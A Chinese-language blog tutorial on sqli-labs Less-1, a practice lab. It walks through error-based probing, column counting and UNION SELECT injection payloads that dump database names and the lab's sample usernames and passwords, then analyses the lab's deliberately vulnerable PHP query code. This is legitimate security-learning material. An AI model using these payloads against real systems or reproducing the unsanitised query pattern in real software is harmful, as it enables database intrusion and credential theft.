1.前言
由于最近在接触sql注入 sqli-lab的实验环境 所以进行日常性的总结 对于这个系列我会对php源码进行一个分析
2.正文
less 1 题目提示我们加上 id 所以?id=1 这是 已经出来了 用户名和 密码了 好那么首先输入' 来看是否有报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
很好出现了这个报错 所以我们可以从 ''1'' LIMIT 0,1' 可以观察出来 在源码中id外面的结构应该是' ' 为什么可以这样看出来 外面首先先把最左边和最后边的 ' 去掉再来看一下这个结构是什么 '1'' LIMIT 0,1 这样就非常清楚了把 '1'' 我们这里多了一个单引号从而导致语句错误了 接下来就是一步步的获取信息了 但是还有一步?id=1' or 1=1 %23 我们输入这个来进行确认一下 最后的%23 是注释的意思 我们把最后的 ' 注释掉了 接下来就可以开始了 首先我们先确定 有几个字段 使用 order by 1 开始依此往后进行增加 直到报错 比如这里 4的时候报错了 报错情况如下
Unknown column '4' in 'order clause' 这里可以知道 这个表中是没有第4 条字段的 所以这个表只有三个字段 所以这样我们就可以来确定回显点了 回显点是什么 回显点就是 注入可以回显有效值的位置 在注入的时候用union进行sql语句的连接 ?id=-1' union select 1,2,3%23 回显如下
Your Login name:2
Your Password:3
通过这个可以知道我们回显点是 2,3 这里 所以我们只需要在2,3 这里进行注入 首先我们可以进行一些简单的信息获取 例如 version() users()
?id=-1' union select 1,version(),user()%23
这里id 为什么是-1 因为这样返回的就是空了就可以显示后面的内容 显示结果如下
Your Login name:5.7.26-log
Your Password:root@localhost
非常好 我们的目的达到了 接下来 我们要开始依此获取一些信息了 首先我们获取数据库 schema_name() 是数据库的名字 information_schema.schemata 这个是存放数据库信息的一个库 就是平时 show databases 命令查询的这个库 所以数据库的信息我们需要在这里进行查找
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata) ,3%23
效果如下
YourLogin:name:information_schema,challenges,mysql,performance_schema,security,sys
Your Password:3
同样的 获取数据表就是改两个数值 table_name 和最后的 infomation_schema.tables
用户名和密码就是 如下代码
?id=-1' union select 1,(select group_concat(username separator ';') from users) ,(select group_concat(password separator ';') from users)%23
最终获取的结果
Your Login name:Dumb;Angelina;Dummy;secure;stupid;superman;batman;admin;admin1;admin2;admin3;dhakkan;admin4
Your Password:Dumb;I-kill-you;p@ssword;crappy;stupidity;genious;mob!le;admin;admin1;admin2;admin3;dumbo;admin4 比较长
3.源码分析
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
首先来看第一块 isset函数是用来判断括号中是否是空 get函数是获取id的值
($fp,'ID:'.$id."\n"); 这个其实就是一个普通的连接 因为在php语言中 . 是相当于字符串的一个连接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
然后再来看这个部分 第一行 一个sql语句但是这一行我们可以看到 id外面的结构 这就是为什么 外面注入的时候要输入 ' 这个是为了封闭前面的结构 然后再把后面的 ' 注释掉 第二行就是一个sql语句的执行
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
Code language: PHP (php)
}
else { echo "Please input the ID as parameter with numeric value";}
?>
下面几块应该很清晰了 所以就不做过多的讲解